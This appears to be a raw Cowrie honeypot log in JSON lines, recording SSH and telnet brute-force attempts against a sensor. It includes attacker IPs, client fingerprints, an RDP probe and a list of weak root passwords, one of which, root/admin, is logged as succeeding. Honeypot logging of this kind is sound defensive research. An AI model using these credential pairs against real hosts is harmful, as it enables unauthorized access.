{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:57.597388Z","src_ip":"163.7.4.169","session":"53e782fa9c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:58.329414Z","src_ip":"163.7.4.169","session":"53e782fa9c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:59.576349Z","src_ip":"163.7.4.169","session":"53e782fa9c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49430,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f8cb80e6a72","protocol":"ssh","message":"New connection: 163.7.4.169:49430 (10.17.0.5:22) [session: 0f8cb80e6a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:59.815241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:59.824746Z","src_ip":"163.7.4.169","session":"0f8cb80e6a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:00.068002Z","src_ip":"163.7.4.169","session":"0f8cb80e6a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:00.800731Z","src_ip":"163.7.4.169","session":"0f8cb80e6a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:02.047034Z","src_ip":"163.7.4.169","session":"0f8cb80e6a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49444,"dst_ip":"10.17.0.5","dst_port":22,"session":"2327aea308c5","protocol":"ssh","message":"New connection: 163.7.4.169:49444 (10.17.0.5:22) [session: 2327aea308c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:02.287134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:02.299536Z","src_ip":"163.7.4.169","session":"2327aea308c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:02.548269Z","src_ip":"163.7.4.169","session":"2327aea308c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64636,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee449ff4be9c","protocol":"ssh","message":"New connection: 167.172.81.52:64636 (159.203.135.109:22) [session: ee449ff4be9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:03.066629Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:03.071702Z","src_ip":"167.172.81.52","session":"ee449ff4be9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:03.075730Z","src_ip":"167.172.81.52","session":"ee449ff4be9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:03.329235Z","src_ip":"163.7.4.169","session":"2327aea308c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:04.578432Z","src_ip":"163.7.4.169","session":"2327aea308c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":54898,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdcc2013678","protocol":"ssh","message":"New connection: 163.7.4.169:54898 (10.17.0.5:22) [session: 4fdcc2013678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:04.842974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:04.848991Z","src_ip":"163.7.4.169","session":"4fdcc2013678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:05.108970Z","src_ip":"163.7.4.169","session":"4fdcc2013678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:05.892469Z","src_ip":"163.7.4.169","session":"4fdcc2013678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":45306,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3a63756a3e","protocol":"ssh","message":"New connection: 196.189.237.92:45306 (10.17.0.5:22) [session: 3a3a63756a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:06.195656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:06.201346Z","src_ip":"196.189.237.92","session":"3a3a63756a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:06.373250Z","src_ip":"196.189.237.92","session":"3a3a63756a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos@2023","message":"login attempt [root/centos@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:07.086769Z","src_ip":"196.189.237.92","session":"3a3a63756a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:07.154217Z","src_ip":"163.7.4.169","session":"4fdcc2013678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":54902,"dst_ip":"10.17.0.5","dst_port":22,"session":"4938792b1dcf","protocol":"ssh","message":"New connection: 163.7.4.169:54902 (10.17.0.5:22) [session: 4938792b1dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:07.390426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:07.396312Z","src_ip":"163.7.4.169","session":"4938792b1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:07.647653Z","src_ip":"163.7.4.169","session":"4938792b1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:08.259664Z","src_ip":"196.189.237.92","session":"3a3a63756a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:08.393243Z","src_ip":"163.7.4.169","session":"4938792b1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:09.646404Z","src_ip":"163.7.4.169","session":"4938792b1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":54918,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb95cbeb9698","protocol":"ssh","message":"New connection: 163.7.4.169:54918 (10.17.0.5:22) [session: bb95cbeb9698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:09.888633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:09.894533Z","src_ip":"163.7.4.169","session":"bb95cbeb9698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:10.140075Z","src_ip":"163.7.4.169","session":"bb95cbeb9698","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:10.876464Z","src_ip":"163.7.4.169","session":"bb95cbeb9698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd41bb72cc2","protocol":"ssh","message":"New connection: 171.244.201.80:39228 (10.17.0.5:22) [session: 6dd41bb72cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:12.072984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:12.098624Z","src_ip":"171.244.201.80","session":"6dd41bb72cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:12.441434Z","src_ip":"171.244.201.80","session":"6dd41bb72cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.284053325653076,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:13.064880Z","src_ip":"152.42.224.71","session":"2479309cb7ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nft","message":"login attempt [root/nft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:13.506169Z","src_ip":"171.244.201.80","session":"6dd41bb72cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:14.750470Z","src_ip":"171.244.201.80","session":"6dd41bb72cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7298698425293,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:33.884658Z","src_ip":"152.42.224.71","session":"245fa8a3b065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.333640336990356,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:34.583507Z","src_ip":"152.42.224.71","session":"c26e1f94ecee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6448d6a8b3","protocol":"telnet","message":"New connection: 152.42.224.71:46240 (10.17.0.5:23) [session: 3c6448d6a8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:40.547229Z"}
{"eventid":"cowrie.session.closed","duration":6.056081295013428,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:46.603178Z","src_ip":"152.42.224.71","session":"3c6448d6a8b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35694,"dst_ip":"10.17.0.5","dst_port":23,"session":"460b482aec07","protocol":"telnet","message":"New connection: 152.42.224.71:35694 (10.17.0.5:23) [session: 460b482aec07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:54.927820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89c14ad3bfa","protocol":"telnet","message":"New connection: 152.42.224.71:59494 (10.17.0.5:23) [session: d89c14ad3bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:56.663887Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df190d1fb8a","protocol":"telnet","message":"New connection: 152.42.224.71:59500 (10.17.0.5:23) [session: 2df190d1fb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:24:57.250792Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55480,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee9efefec9d","protocol":"telnet","message":"New connection: 152.42.224.71:55480 (10.17.0.5:23) [session: cee9efefec9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:07.498667Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c98391044ec","protocol":"telnet","message":"New connection: 152.42.224.71:55492 (10.17.0.5:23) [session: 5c98391044ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:25:12.127857Z"}
